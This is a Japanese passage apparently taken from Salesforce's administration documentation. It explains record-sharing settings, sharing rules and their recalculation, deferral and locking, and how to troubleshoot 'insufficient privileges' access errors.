またはコミュニティに共有セットを作成します。
次の表に、共有の直接設定を使用する場合と共有セット使用する場合を示
します。

アクセス権を付与するユーザ

HVPU2非 HVPU1内部

共有セット共有の直接設定共有の直接設定内部

共有セット共有の直接設定共有の直接設定非 HVPU

共有セット共有の直接設定共有の直接設定HVPU

1 非 HVPU とは、HVPU プロファイルを使用していない外部ユーザをいいま
す。
2 HVPU とは、上記のいずれかのプロファイルがある外部ユーザをいいます。
• 認証 Web サイト
• カスタマーコミュニティユーザ
• カスタマーコミュニティログインユーザ
• 大規模カスタマーポータル
• 大規模ポータル
• Overage Authenticated Website ユーザ
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• Overage High Volume Customer Portal ユーザ

関連トピック:

ユーザ共有
ユーザレコードの共有
共有セットの概要

共有に関する考慮事項
共有モデルを使用して、ユーザが所有していないレコードへのアクセス権をユーザに付与する方法について説
明します。
共有モデルは、ロール階層、ユーザ権限、共有ルール、および一定の状況の場合の例外との間の複雑な関係を
表します。共有モデルを設定する場合は、次の点に留意してください。

ロール階層ベースの共有の例外
ユーザは常に、ロール階層内で自分より下位のユーザが所有するか、または自分より下位のユーザと共有する
すべてのデータを参照および編集できます。次のような例外があります。
• データへのアクセス権を決定するときに組織全体のデフォルトオプションを使用すると、階層を無視でき

ます。
• 取引先に関連付けられていない取引先責任者は、常に非公開とみなされます。参照できるのは、取引先責

任者の所有者およびシステム管理者だけです。取引先責任者の共有ルールは、非公開の取引先責任者には
適用されません。

• [非公開]チェックボックスで「非公開」とマークしたメモと添付は、それらを添付したユーザとシステム
管理者だけがアクセスできます。

• [非公開] チェックボックスで「非公開」とマークした行動は、その行動の所有者だけがアクセスできま
す。他のユーザがその行動の所有者のカレンダーを参照したときに、行動の詳細を参照することはできま
せん。ただし、「すべてのデータの参照」または「すべてのデータの編集」権限を持つユーザは、レポー
トや検索、または他のユーザのカレンダーを参照したときに非公開行動の詳細を参照できます。

• ロール階層でレコード所有者の上位にあるユーザは、そのレコードタイプに対する「参照」または「編集」
オブジェクト権限を持っている場合は、そのレコード所有者のレコードを参照または編集のみ行うことが
できます。

• [コミュニティユーザ表示] 設定によるユーザ表示設定は、ロール階層を通じて継承されません。ロール階
層のマネージャがコミュニティのメンバーでない場合、マネージャの部下がメンバーであっても、マネー
ジャはコミュニティの他のメンバーにアクセスすることはできません。これは、組織でSalesforce Communities

が有効になっている場合にのみ適用されます。

レコードの削除
• 個々のレコードを削除できるかどうかは、システム管理者、レコード所有者、ロール階層内でレコード所

有者より上位のユーザ、および「フルアクセス」を許可されたユーザによって制御されます。
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• ケースまたはリードの共有モデルとして公開/参照・更新・所有権の移行を、またはキャンペーンの共有モ
デルとして公開フルアクセス設定している場合は、すべてのユーザがこれらのレコードを削除できます。

レコードへの関連アイテムの追加
• レコードの「参照・更新」権限がない限り、レコードにメモや添付ファイルは追加できません。
• 少なくとも、レコードの「参照」アクセス権がない限り、活動やその他の関連レコードは追加できません。

共有アクセスの手動による追加または削除
• 個々のレコードの共有アクセス権を手動で拡張できるかどうかは、システム管理者、レコード所有者、ロー

ル階層内でレコード所有者より上位のユーザ、および「フルアクセス」を許可されたユーザによって制御
されます。

• 共有モデルを変更すると、ユーザがこれまでに作成した手動による共有設定が削除されます。

ユーザ権限とオブジェクトレベル権限
共有モデルはレコードの表示を制御し、ユーザ権限とオブジェクトレベル権限は、レコードに対してユーザが
実行できる操作を制御します。
• 共有設定に関わらず、ユーザは、該当するオブジェクトレベル権限を持つ必要があります。たとえば、取

引先を共有している場合、そうしたユーザは、取引先に対する「参照」権限を持っている場合に限りその
取引先を参照できます。同様に、取引先責任者に対する「編集」権限を持っているユーザでも、非公開の
共有モデルで作業をしている場合には、自分が所有していない取引先責任者を編集できません。

• システム管理者、および「すべてのデータの参照」権限または「すべてのデータの編集」権限を持つユー
ザは、すべてのデータを参照および編集できます。

取引先の共有
• ユーザの所有している取引先に関連付けられた、所有していないレコードに対するユーザアクセスを制限

するには、ロールに適切なアクセス権を設定します。たとえば、[商談のアクセス権] のオプションを使う
と、ユーザが所有する取引先に関連付けられている商談のうち、そのユーザが所有していない商談へのア
クセスを制限することができます。

• 組織の共有設定に関係なく、ユーザは少なくとも自分のテリトリーの取引先を参照できます。また、テリ
トリーの取引先に関連する取引先責任者、商談、ケースを参照および編集するアクセス権がユーザに付与
されます。

Apex 共有
Apexコードがカスタムオブジェクトに関連付けられている共有エントリを使用している場合は、そのカスタム
オブジェクトに対する組織の共有設定を非公開から公開には変更できません。たとえば、Apex コードで (コー
ドでは Invoice__shareとして表される) カスタムオブジェクト Invoice__c に対する共有アクセス権を持つユー
ザとグループを取得した場合、そのオブジェクトの組織の共有設定を非公開から公開に変更することはできま
せん。
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キャンペーンの共有
• Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition では、キャン

ペーンの共有を有効にするときに、すべてのユーザをマーケティングユーザに指定します。これにより、
共有とプロファイルを使用してアクセス権を制御できるようになるため、管理とトラブルシューティング
が容易になります。

• あるビジネス単位内での既存の動作を維持しつつ、ビジネス単位間での異なるアクセス権を設定する手順
は、次のとおりです。
1. 組織のキャンペーンの共有設定を [非公開] にします。
2. 共有ルールを作成して、マーケティングユーザに、ビジネス単位内のユーザが所有するすべてのキャン

ペーンに対する「公開/フルアクセス」権限を与えます。
3. 共有ルールを作成して、ビジネス単位内のマーケティングユーザ以外のユーザ全員に、ビジネス単位内

のユーザが所有するすべてのキャンペーンに対する「参照のみ」権限を与えます。
• 地域のマーケティングマネージャなど、1 人のユーザが複数のキャンペーンを所有し、ビジネス単位間で異

なるアクセス権を設定する必要がある場合は、共有ルールを使用するのではなく、キャンペーンを個別に
共有します。共有ルールは、ユーザが所有するすべてのキャンペーンに適用され、一部のレコードに異な
るアクセス権を設定することは許可しません。

• 組織の共有設定を変更する前に、すべてのキャンペーンの共有ルールを作成して、変更によってユーザに
及ぶ影響を軽減します。

• 組織のすべてのキャンペーンをユーザグループや特定のロールと共有するには、公開グループ「組織全体」
のメンバーが所有するキャンペーンに適用される共有ルールを作成します。

• 特定のロールを選択せずに、[ロール & 下位ロール] オプションを使用することで、作成する必要のある共有
ルール数を最小限にします。

• ページレイアウトにキャンペーン階層統計項目を追加すると、ユーザは、階層内の特定のキャンペーンに
対する共有権限を持っているかどうかに関係なく、階層内の親キャンペーンとすべての下位キャンペーン
の集計データを表示できます。そのため、キャンペーン階層統計を有効にする場合は、組織のキャンペー
ン共有設定に留意してください。ユーザに階層統計データを表示しない場合は、[キャンペーン階層] 関連
リストから、不要なキャンペーン階層統計項目を削除してください。これらの項目は、インターフェース
では削除しても、レポートでは使用できます。

• キャンペーンの共有モデルとして [公開/フルアクセス]が設定されている場合は、すべてのユーザがその種
別のレコードを削除できます。

キャンペーンメンバーの共有
キャンペーンメンバーの共有は、キャンペーンの共有ルールで制御されます。キャンペーンを表示できるユー
ザは、関連付けられているキャンペーンメンバーも表示できます。

取引先責任者の共有
取引先責任者に関する組織の共有設定は、個人取引先を有効にしている組織では使用できません。
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価格表の共有
• 価格表の共有は、ユーザが商談に価格表とその商品を追加できるかどうかを制御します。
• ユーザの権限は、ユーザが価格表を参照、作成、編集、および削除できるかどうかを制御します。

関連トピック:

共有ルール
共有設定

ユーザに取引先へのアクセス権がある理由は何ですか?
ユーザは、取引先へのアクセス権を次から得ている可能性があります。
• レコードの所有者
• ケース、取引先責任者、または商談など、関連付けられた子レコードからの暗黙的なアクセス権
• 組織の共有設定
• ロール階層
• 共有ルール
• 共有の直接設定
• 取引先チームまたはテリトリー
あるユーザがレコードへのアクセス権を持っている理由を確認するには、取引先詳細ページの[共有]ボタンを
クリックして、アクセス権を持つユーザとその理由が記載されたリストを参照します。[リストの拡張] をク
リックすると、アクセス権を持つすべてのユーザが表示されます。
次のユーザは、アクセス権を持っていてもリストには表示されません。
• すべてのユーザ: 組織の共有設定が [公開/参照のみ] または [公開/参照・更新可能] に設定されている場合
• 大規模ポータルユーザ

メモ: [共有]ボタンが表示されない場合、組織の共有設定が [親レコードに連動] または [公開/参照] に設定
されている可能性があります。それ以外の場合、レコードの所有者、システム管理者、またはロール階
層で所有者より上の階層に属するユーザのみが、共有の詳細ページを表示できます。

表 2 : レコードへのユーザアクセス権に関するトラブルシューティングガイドライン
説明アクセスタイプ

レコード所有者は、自分のレコードには常にアクセスできます。レコード所有者

共有の詳細ページの [理由] 列にある [関連するレコードを所有もしくは共有している] エン
トリに対応します。ユーザは取引先 (商談、ケース、または取引先責任者) の子レコード

暗黙的なアクセス

へのアクセス権を持っている可能性があり、これにより、その取引先に対する「参照」
アクセス権が付与されます。このアクセス権を上書きすることはできません。たとえば、
ユーザにケースレコードへのアクセス権がある場合、そのユーザには親取引先レコード
への暗黙的な「参照」アクセス権があります。
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説明アクセスタイプ

取引先オブジェクトのデフォルトが [非公開] に設定されているかどうかを確認します。
そのように設定されている場合、ユーザはここにリストされている他の方法を使用して

組織の共有設定

アクセス権を取得した可能性があります。たった 1 人のユーザに対してでも、レコードが
表示されないようにする必要がある場合は、[非公開] に設定する必要があります。

ユーザは、ロール階層内の部下から「参照」アクセス権を継承した可能性があります。
カスタムオブジェクト以外については、この動作を上書きできません。アクセス権を持

ロール階層

つユーザが、取引先所有者とは異なる階層内の部署にいる場合、共有ルール、取引先チー
ム、および取引先テリトリーを確認します。

ユーザは関連する共有ルールに含まれているため、アクセス権を取得した可能性があり
ます。共有ルールで公開グループ (またはロールなど、他のカテゴリ) を使用してアクセ

共有ルール

ス権が付与されている場合、公開グループをチェックして、ユーザがそのグループに含
まれているかどうかを確認します。

ユーザは、レコードの[共有]ボタンを使用してアクセス権を取得した可能性があります。
レコード所有者、システム管理者、またはロール階層で所有者より上の階層に属するユー
ザのみが、レコード上の共有の直接設定を作成または削除できます。

共有の直接設定

ユーザが、取引先所有者、システム管理者、ロール階層内で所有者より上の階層に属す
るユーザ、または取引先チームメンバーによって取引先チームに追加された可能性があ

取引先チームおよ
びテリトリー

ります。組織でテリトリー管理を使用している場合、アクセス権を持っているユーザが
テリトリー階層内で取引先所有者より上の階層に属しているかどうかを確認します。マ
ネージャは、部下と同じアクセス権を取得します。また、ユーザがグループ A のメンバー
であり、グループ A はグループ B のメンバーである場合、そのユーザはグループ B のメン
バーと同じアクセスレベルで、グループ B と共有されているすべての取引先へのアクセス
権を取得します。

関連トピック:

ユーザのアクセス権の制御
「アクセス権がありません」エラーの解決
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共有の上書きの参照
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

共有の上書きを参照する
• 「設定・定義を参照す

る」

[共有設定] ページでオブジェクトを選択した場合、ページには [共有の上書き] 関
連リストが表示され、そのリストには、そのオブジェクトの共有設定を無視す
るプロファイルが表示されます。
[共有の上書き] リストを参照するには、[設定] から、[クイック検索]ボックスに
「共有設定」と入力し、[共有設定]を選択します。次に、[共有設定を管理する対
象] リストからオブジェクトを選択します。
各プロファイルについて、リストでは、共有設定を無効にできる権限が指定さ
れます。「すべてのデータの参照」権限および「すべてのデータの編集」権限
は組織のすべてのオブジェクトに対する共有設定を無効にし、「すべての参照」
および「すべての編集」の権限は、指定されたオブジェクトに対する共有設定
を無効にします

メモ:  [共有の上書き] リストでは、オブジェクトの共有設定も上書きする可
能性のある、権限セットで許可された権限は表示しません。

特定のオブジェクトの共有設定を上書きするために、「すべての参照」および
「すべての編集」オブジェクト権限を作成または編集する権限セットまたはプ
ロファイルを作成または編集できます。これらの権限は、共有設定に関わらず、
組織全体に対し、オブジェクトに関連付けられたすべてのレコードへのアクセ
ス権を付与します。これらの権限を設定する前に、データアクセスのさまざま
な制御方法を比較してください。

関連トピック:

プロファイル
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共有ルールの再適用
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

取引先および取引先責任
者の共有ルールを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先テリトリー、ケー
ス、リード、商談、注
文、共有ルール、および
カスタムオブジェクト共
有ルールを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

キャンペーン共有ルール
を使用可能なエディショ
ン: Professional Edition (追
加購入で使用可能)、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを再適用する
• 「共有の管理」

グループ、ロール、およびテリトリーに変更を加えると、共有ルールの再評価
が実行され、必要に応じてアクセス権が追加または削除されます。
変更には、グループ、ロール、またはテリトリーに対するユーザの追加または
削除、特定のロールの上位ロールの変更、特定のテリトリーの上位テリトリー
の変更、または別のグループに対するグループの追加または削除などがありま
す。

メモ: [共有ルール] 関連リストの [再適用] ボタンは、共有ルールの更新が失
敗したり、予定どおりに動作しない場合に限り使用します。

オブジェクトの共有ルールを手動で再適用する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. 対象のオブジェクトの [共有ルール] 関連リストで、[再計算] をクリックしま

す。
3. 再適用の進行状況を監視するには、[設定] から、[クイック検索] ボックスに

「バックグラウンドジョブ」と入力し、[バックグラウンドジョブ]を選択しま
す。

メモ: グループメンバーまたは共有ルールの適用が延期されると、[再計算]

ボタンが無効になります。関連オブジェクトの共有ルールは自動的に再適
用されます。たとえば、取引先レコードと商談レコードは主従関係にある
ため、商談共有ルールが再適用されると、取引先共有ルールは再適用され
ます。

共有を再適用するときには、すべての Apex 共有の再適用も実行されます。共有
ルールの再適用時に、関連オブジェクトの共有ルールも再適用されます。再適
用が完了すると、メールで通知されます。たとえば、商談オブジェクトは取引
先オブジェクトの従になるため、商談の共有ルールを再適用すると、取引先共
有ルールも再適用されます。
共有ルールの自動適用はデフォルトで有効になっています。共有ルールの適用
は、任意にサスペンドおよび再開して延期できます。

関連トピック:

共有ルール
共有適用の延期
バックグラウンドジョブの監視
共有ルールの非同期並列再適用

708

共有ルールの再適用Salesforce 組織の設定および管理



共有ルールの非同期並列再適用

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

共有ルールの再適用を非同期かつ並列に実行して高速化します。
共有ルールを作成、更新、または削除するときに、結果の再適用が非同期で並
列処理されるようになりました。再適用は、バックグラウンドで非同期に並列
処理されるため、プロセスが迅速化し、サイトの操作 (パッチやサーバの再起動
など) に対する回復力が向上します。完了時にメール通知を受信します。再適用
が完了するまで、共有ルールの作成や組織の共有設定の更新など、他の共有操
作を行うことはできません。
所有者ベースの共有ルールの挿入または更新による影響を受けるレコードの数
が 25,000 未満の場合、再適用は同時に実行され、完了したときにメール通知は
送信されません。影響を受けるレコードの数が 25,000 未満の所有者ベースの共
有ルールの挿入または更新は、[バックグラウンドジョブ] ページでは使用できま
せん。
並列処理による共有ルールの再適用は、次の場合にも実行されます。
• [共有設定] ページで共有ルールの [再適用] ボタンをクリックする
• [共有を延期] ページの共有ルールを再適用する
[バックグラウンドジョブ] ページで並列再適用の進行状況を監視できます。または、[設定変更履歴の参照] ペー
ジでは、最近の共有操作を確認できます。
共有ルールの再適用では、取引先と子レコード間の暗黙的な共有が維持されます。[バックグラウンドジョブ]

ページでは、これらのプロセスは [取引先 — 余分な親アクセス権の削除] や [取引先 — 親アクセス権の許可] な
どのジョブのサブ種別に対応します。また、共有ルールの削除は、無関係な共有行が削除されることを示す
ジョブのサブ種別 [オブジェクト — アクセス権のクリーンアップ] に対応します。

メモ: レコードアクセス権についての詳細は、「企業の規模に応じたレコードアクセス権の作成」を参照
してください。

関連トピック:

バックグラウンドジョブの監視
共有ルールの再適用
組み込みの共有動作
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共有適用の延期

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

大規模な設定変更を実行すると、共有ルールの評価に非常に時間がかかり、タ
イムアウトする可能性があります。この問題を回避するために、管理者はこれ
らの適用をサスペンドし、組織のメンテナンス期間中に適用を再開することが
できます。

メモ: 共有適用の延期機能は、デフォルトでは有効になっていません。こ
の機能を組織で有効にするには、Salesforce カスタマーサポートまでお問い
合わせください。

共有適用の延期は、役割、テリトリー、グループ、ユーザ、ポータル取引先会
社形態、または共有ルールに参加している公開グループに多数の変更を行い、
自動共有適用をサスペンドして後で実行する場合に最適です。
グループメンバーおよび共有ルールの適用はデフォルトで有効になっています。

以下の操作を実行できます。条件

グループメンバーおよび共有ルールの適用が有効化さ
れている

• グループメンバーの適用をサスペンド、更新、再
開します。これにより、共有ルールの適用がサス
ペンドされ、共有ルールの完全再適用が必要にな
ります。

• 共有ルールの適用をサスペンド、更新、および再
開します。

グループメンバーの適用をサスペンド、更新、および
再開します。

グループメンバーの適用が有効化され、共有ルールの
適用がサスペンドされている

共有ルールの適用をサスペンド、更新、再開、および
再適用します。

グループメンバーの適用はサスペンドされ、共有ルー
ルの適用が有効化されている

グループメンバーの適用をサスペンドまたは再開するには、「グループメンバーの適用の管理」を参照してく
ださい。
共有ルールの適用をサスペンド、再開、または再適用するには、「共有ルールの適用の延期」を参照してくだ
さい。

関連トピック:

共有ルールの再適用
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グループメンバーの適用の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有適用を延期 (サスペン
ドおよび再開) する
• 「ユーザの管理」

および

「共有適用の延期の管
理」

グループに加えた変更によって大量のレコードに影響がある場合、グループメ
ンバーの自動適用をサスペンドし、後から再開する必要がある場合があります。
適用を再開しないと、レコードで共有の矛盾が生じることがあります。
役割、テリトリー、グループ、またはユーザを変更する場合、あるいはポータ
ル取引先の会社形態を変更する場合、グループメンバーが自動的に再適用され、
必要に応じてアクセス権が追加または削除されます。変更では、グループに対
するユーザの追加または削除、異なるレポートセットへのアクセスを許可する
ための役割の変更などが行われます。
グループメンバーの適用をサスペンドまたは再開する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「共有の適用を延期」と入力し、[共

有の適用を延期] を選択します。
2. [グループメンバーの適用] 関連リストで、[サスペンド] をクリックします。

メモ: 共有ルールの適用が有効である場合は、グループメンバーの適用
をサスペンドすると共有ルールの適用もサスペンドします。グループメ
ンバーの適用を再開する場合は、共有ルールも完全に再適用する必要が
あります。

3. ロール、テリトリー、グループ、ユーザ、またはポータル取引先会社形態を
変更します。

4. グループメンバーの適用を有効にするには、[再開] をクリックします。

関連トピック:

共有適用の延期
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共有ルールの適用の延期

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

取引先および取引先責任
者の共有ルールを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先テリトリー、ケー
ス、リード、および商談
共有ルールを使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

キャンペーン共有ルール
を使用可能なエディショ
ン: Professional Edition (追
加購入で使用可能)、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタムオブジェクト共
有ルールを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition
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ユーザ権限

共有ルールを延期 (サスペ
ンドおよび再開) および再
適用する
• 「ユーザの管理」

および

「共有適用の延期の管
理」

メモ: 共有適用の延期機能は、デフォルトでは有効になっていません。こ
の機能を組織で有効にするには、Salesforce カスタマーサポートまでお問い
合わせください。

共有ルールの適用をサスペンド、再開、または再適用する手順は、次のとおり
です。
1. [設定] から、[クイック検索] ボックスに「共有の適用を延期」と入力し、[共

有の適用を延期] を選択します。
2. [共有ルールの適用] 関連リストで、[サスペンド] をクリックします。
3. 共有ルールに参加している共有ルール、ロール、テリトリー、または公開グ

ループを変更します。

メモ: 共有ルールを変更した場合は、完全に再適用する必要があります。

共有ルールの適用を有効にするには、[再開] をクリックします。
4. 共有ルールを手動で再適用するには、[再適用] をクリックします。
共有ルールに大幅な更新を行う前は、共有適用の延期を検討してください。共有を再適用するときには、すべ
ての Apex 共有の再適用も実行されます。

関連トピック:

グループメンバーの適用の管理

オブジェクト固有の共有ロック

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

共有ルールを作成、編集、または削除すると、再適用が実行されて組織のレコー
ドアクセスが更新されます。ユーザとレコードが多い場合は、この操作に時間
がかかる可能性があります。オブジェクト固有の共有ロック機能では、共有ルー
ルの影響を受けるオブジェクト、共有ルールタイプ、および影響を受けるユー
ザの共有先グループまたはロールに応じて、他のオブジェクトの共有ルールを
同時に変更できます。
オブジェクト固有の共有ロックが設定されていない場合、すべてのオブジェク
トで再適用が完了するまで共有の同時変更は送信できません。オブジェクト固
有の共有ロックを有効にする場合は、組織で次の変更を検討してください。
条件に基づく共有ルールと所有権に基づく共有ルール

再適用は、共有ルールが変更された場合、または [共有設定] ページで [再適
用] ボタンをクリックしたときに実行されます。このボタンをクリックする
と、そのオブジェクトの共有ルールはロックされますが (1)、別のオブジェクトの共有ルールは引き続き変
更できます。

メモ: [共有ルール] 関連リストの [再適用] ボタンは、共有ルールの更新が失敗したり、予定どおりに動
作しない場合に限り使用します。
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所有権に基づく共有ルールの再適用が進行中の場合は、同じユーザグループを対象とするオブジェクトの
所有権に基づく共有ルールを作成、編集、または削除することはできません。たとえば、[すべての内部
ユーザ] グループを対象とする、所有権に基づくリード共有ルールを作成しているとします。再適用がまだ
進行中であっても、[すべての内部ユーザ] グループを除く他の公開グループを対象とする所有権に基づく
別のリード共有ルールは作成できます。再適用の終了後にのみ、すべての内部ユーザを対象とする所有権
に基づくリード共有ルールを作成、更新、または削除できます。再適用が完了すると、メールで通知され
ます。
条件に基づく共有ルールの再適用が進行中の場合は、そのルールを編集または削除することはできません。
ただし、対象とするユーザグループに関係なく、そのオブジェクトのその他の条件に基づく共有ルールま
たは所有権に基づく共有ルールの作成、編集、削除を行うことはできます。

メモ: オブジェクトの共有ルールの再適用が進行中の場合は、組織の共有設定を変更できません。同
様に、組織の共有設定の更新の再適用が進行中の場合は、共有ルールを変更できません。

取引先、ケース、取引先責任者、および商談
共有ルールは取引先および関連付けられた取引先の子 (ケース、取引先責任者、商談) に影響する可能性が
あるため、再適用が正常に実行されるようにそれらはまとめてロックされます。たとえば、取引先共有ルー
ルの作成または編集中は、ケース、取引先責任者、および商談共有ルールを作成または編集することがで
きません。同様に、商談共有ルールの作成または編集中は、再適用が完了するまでケース、取引先責任者、
または取引先共有ルールを作成または編集することはできません。取引先および関連付けられた取引先の
子の場合を除き、ロックはオブジェクト間で共有されません。

メモ: これらの 4 つのオブジェクトのいずれかの共有ルールの [再適用] ボタンをクリックすると、再
適用が完了するまで、これらのオブジェクトのどの共有ルールも変更できなくなります。

次の例では、所有権に基づく取引先共有ルールが削除され、再適用が進行中です。これらのいずれかのオ
ブジェクトの所有権に基づく別の共有ルールを作成、編集、削除することはできませんが、これらのオブ
ジェクトの条件に基づく共有ルール (2) を変更することはできます。
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関連トピック:

共有ルール
共有ルールの再適用
共有適用の延期
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組み込みの共有動作
エディション

使用可能なエディション:
Salesforce Classic

取引先および取引先責任
者の共有を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ケースおよび商談の共有
が可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce では、取引先レコードと子レコード (商談、ケース、および取引先責任
者) 間、およびポータルユーザのさまざまなグループで暗黙的な共有が可能で
す。
取引先と子レコード間の共有

• 親取引先へのアクセス — 取引先の子レコードへのアクセス権がある場合
は、その取引先への暗黙的な「参照のみ」アクセスが可能です。

• 子レコードへのアクセス — 親取引先へのアクセス権がある場合は、関連
付けられた子レコードにアクセスできます。子レコードへのアクセスレ
ベルは、取引先所有者のロールによって決まります。

ポータルユーザを対象とする共有動作
• 取引先とケースへのアクセス — 取引先のポータルユーザは、親取引先お

よびその取引先の全取引先責任者への「参照のみ」アクセスが可能です。
• Service Cloud ポータルユーザが所有するデータへの管理アクセス — Service

Cloud ポータルユーザにはロールがないため、そのデータにポータル取引
先所有者がロール階層を介してアクセスすることはできません。取引先
所有者がこのデータへのアクセスできるようにするために、Service Cloud

ポータルユーザが使用するポータルの共有グループに取引先所有者を追
加できます。この処理により、そのポータルの Service Cloud ポータルユー
ザが所有するすべてのデータへのアクセスが可能になります。

• ケースへのアクセス — ポータルユーザがケースの取引先責任者の場合、そのユーザはケースへの「参
照のみ」アクセスが可能です。

グループメンバーの操作および共有再適用
ユーザのロールの変更、階層内の他の階層へのロールの移動、ポータル取引先の所有者の変更などの単純
な操作が、共有ルールの再適用をトリガする場合があります。Salesforce では、階層内のユーザの新規ロー
ルまたは古いロールより上位のユーザのユーザデータへのアクセスを確認し、影響を受けるレコードに共
有を追加するか、またはこのレコードから共有を削除する必要があります。

関連トピック:

ユーザのアクセス権の制御

「アクセス権がありません」エラーの解決
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

「アクセス権がありません」エラーの多くは、権限がないか、レコードへのア
クセスやタスク (レポートの実行など) の実行を阻止する共有設定によって発生
します。
ユーザに、オブジェクト、レコード、プロセスなどさまざまなレベルでの適切
なアクセス権がない場合があります。たとえば、ユーザのプロファイルが原因
でユーザが取引先オブジェクトにアクセスできない場合や、ユーザのロールが
原因でユーザがケースレコードにアクセスできない場合があります。このエラー
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は、アクセス権のないレコードや Visualforce ページのタブへのリンクをクリックしたときにも表示される可能
性があります。
ほとんどの場合、レコードの詳細ページの [共有] ボタン (必要に応じてレコードを別のユーザと共有できるよ
うにするボタン) を使用することで解決できます。システム管理者は、APIを使用してこの問題を解決すること
もできます。たとえば、UserRecordAccess オブジェクトをクエリして、レコードセットへのユーザのアクセス権
を確認できます。詳細は、『SOAP API 開発者ガイド』を参照してください。
これらのツールで問題を解決できない場合、システム管理者は次のトラブルシューティングフローで問題の診
断を試みることができます。
• オブジェクトレベルのアクセスエラーを解決するには、ユーザプロファイルおよび権限セットを確認しま

す。
• レコードレベルのアクセスエラーを解決するには、組織の共有設定や共有ルールといった共有設定を確認

します。
• プロセスレベルのエラーを解決するには、入力規則や Apex トリガを確認します。
システム管理者がユーザのログインを使用してアプリケーションにログインすることは、問題解決に役立つ適
切な方法の 1 つです。ユーザは、システム管理者に一定期間アクセス権を付与できます。

権限およびオブジェクトレベルのアクセスエラーの解決

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

プロファイルと権限セッ
トを参照する
• 「設定・定義を参照す

る」

オブジェクト権限を編集
する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

「アクセス権がありません」エラーの発生は、オブジェクト権限やユーザ権限
の欠落が原因である可能性があります。この種類のエラーは、ユーザのプロファ
イルおよび権限セットを使用してトラブルシューティングできます。
一般的に、オブジェクトおよび権限アクセスの問題を調査する最適な方法は API

を使用することです。ただし、次の手順に従ってポイント & クリックツールで
調査することもできます。
1. ユーザのプロファイルでオブジェクト権限を確認します。

プロファイルおよび権限セットで設定されたオブジェクト権限で、ユーザが
参照、作成、編集、削除できるオブジェクトが決まります。
a. ユーザの詳細ページで、ユーザのプロファイルをクリックします。
b. プロファイルの概要ページで、[オブジェクト設定] または [オブジェクト

権限] に移動します。
オブジェクトの権限をメモします。たとえば、ユーザが取引先を参照し
ようとしている場合、ユーザプロファイルで取引先および取引先責任者
オブジェクトに対する「参照」権限が有効になっていることを確認しま
す。
または、ユーザがレポートを実行しようとしている場合、レポートが参
照するオブジェクトに対する「参照」権限がユーザにない可能性があり
ます。

2. プロファイルユーザインターフェースに応じて、次のいずれかの方法でユー
ザ権限を確認します。
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• 拡張プロファイルユーザインターフェースから、[アプリケーション権限] および [システム権限] セクショ
ンの権限を確認します。

• 元のプロファイルユーザインターフェースから、[システム管理者権限] および [一般ユーザ権限] の権限
を確認します。

関連するユーザ権限をメモします。たとえば、ユーザがリードにメールを送信しようとしている場合、
「メールの送信」権限が有効になっていることを確認します。

3. ユーザの権限セットで権限を確認します。
a. ユーザの詳細ページで、[権限セットの割り当て] 関連リストにスクロールし、各権限セットをクリック

します。
b. 権限セットの概要ページで、[オブジェクト設定] をクリックし、割り当てられているオブジェクト権限

を確認します。
c. [アプリケーション権限] および [システム権限] セクションのユーザ権限を確認します。
d. ユーザに割り当てられている各権限セットでこれらの手順を繰り返します。

4. 必要に応じて、権限セットを使用するか、プロファイルを更新して必要な権限を割り当てます。権限セッ
トでは、個人ベースでアクセス権が提供されます。このプロファイルのすべてのユーザにアクセス権が必
要な場合、ユーザプロファイルでのみ権限を割り当てます。組織のセキュリティポリシーを把握し、その
ポリシーに基づいて対応してください。

関連トピック:

「アクセス権がありません」エラーの解決
権限セット
ユーザ権限およびアクセス
プロファイル
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レコードレベルのアクセスエラーの解決

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

共有ルールを作成または
編集する
• 「共有の管理」

チームを設定する
• 「アプリケーションの

カスタマイズ」

テリトリーを管理する
• 「テリトリーの管理」

「アクセス権がありません」エラーの発生は、ロールや共有ルールなどの共有
設定が原因の可能性があります。
エラーがレコードレベルかどうかを確認する手順は、次のとおりです。または、
APIを使用してレコードセットへのユーザのアクセス権をクエリしたり、レコー
ド詳細のページの [共有] ボタンを使用したりすることもできます。
1. 組織でロールを使用している場合、レコード所有者に関してユーザのロール

を確認します。
たとえば、ユーザは、レコード所有者であるか、ロール階層でレコード所有
者よりも上位にあるか、システム管理者である場合にのみレコードを削除で
